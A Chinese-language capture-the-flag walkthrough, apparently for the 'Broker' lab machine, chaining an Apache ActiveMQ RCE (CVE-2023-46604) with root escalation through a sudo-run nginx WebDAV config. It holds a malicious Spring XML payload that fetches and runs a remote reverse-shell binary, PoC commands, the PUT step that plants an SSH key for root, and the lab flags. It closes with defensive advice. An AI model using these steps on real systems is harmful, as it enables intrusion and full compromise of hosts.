[Meachines] [Easy] Broker Apache MQ RCE+Nginx ngx_http_dav_module权限提升
字数 1433 2025-08-22 12:23:36
Apache ActiveMQ RCE 与 Nginx ngx_http_dav_module 权限提升攻击分析
1. 信息收集阶段
1.1 目标扫描
目标IP: 10.10.11.243
开放端口和服务:
- 22/tcp: OpenSSH 8.9p1 Ubuntu
- 80/tcp: nginx 1.18.0 (Ubuntu) - 需要基本认证(ActiveMQRealm)
- 1883/tcp: MQTT服务
- 5672/tcp: AMQP服务
- 8161/tcp: Jetty 9.4.39.v20210325 - 需要基本认证(ActiveMQRealm)
- 38507/tcp: tcpwrapped
- 61613/tcp: Apache ActiveMQ STOMP协议
- 61614/tcp: Jetty 9.4.39.v20210325
- 61616/tcp: ApacheMQ OpenWire transport (版本: 5.15.15)
1.2 关键发现
从扫描结果中识别出Apache ActiveMQ服务运行在61616端口,版本为5.15.15,这存在已知的RCE漏洞(CVE-2023-46604)。
2. Apache ActiveMQ RCE漏洞利用(CVE-2023-46604)
2.1 漏洞概述
CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,攻击者可以通过OpenWire协议发送特制的序列化消息,触发服务器加载恶意的XML配置文件,从而导致任意代码执行。
2.2 漏洞利用步骤
- 准备恶意XML文件:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>curl -s -o reverse http://10.10.16.28/reverse; chmod +x ./reverse; ./reverse</value>
</list>
</constructor-arg>
</bean>
</beans>
- 使用公开的PoC工具:
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
go run main.go -i 10.10.11.243 -p 61616 -u http://10.10.16.28:9999/poc-linux.xml
- 获取初始访问权限:
成功执行后获取用户权限,找到user flag:
a178c399b0c91839399aa5b98c0c117c
3. Nginx ngx_http_dav_module权限提升
3.1 漏洞概述
当Nginx配置了ngx_http_dav_module模块并启用了PUT方法时,攻击者可以利用此功能上传文件到服务器上的任意位置,可能导致权限提升。
3.2 权限提升步骤
- 创建恶意Nginx配置文件:
cat << EOF > /tmp/shell.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { worker_connections 768; }
http {
server {
listen 10031;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
- 以root权限启动Nginx:
sudo nginx -c /tmp/shell.conf
- 生成SSH密钥对:
ssh-keygen
- 上传公钥到root的authorized_keys:
curl -X PUT http://10.10.11.243:10031/root/.ssh/authorized_keys -d @/home/maptnh/.ssh/id_ed25519.pub
- 通过SSH以root身份登录:
ssh root@10.10.11.243 -i /home/maptnh/.ssh/id_ed25519
- 获取root flag:
26eecd6da62a87d2098e474929f93140
4. 防御措施
4.1 针对Apache ActiveMQ RCE
- 升级到Apache ActiveMQ最新版本
- 限制OpenWire协议的访问权限
- 实施网络隔离,仅允许可信网络访问ActiveMQ服务
- 监控异常的网络流量和进程创建
4.2 针对Nginx权限提升
- 避免在生产环境中启用
ngx_http_dav_module - 如果必须使用,限制PUT方法的使用范围
- 确保Nginx不以root身份运行
- 定期审计Nginx配置文件
- 实施文件系统权限控制,限制Nginx进程的写入权限
5. 总结
本攻击链展示了如何利用Apache ActiveMQ的RCE漏洞获取初始访问权限,然后通过滥用Nginx的ngx_http_dav_module模块实现权限提升。这种组合攻击强调了纵深防御的重要性,即使初始漏洞利用只能获取低权限访问,系统其他部分的配置不当仍可能导致完全的系统沦陷。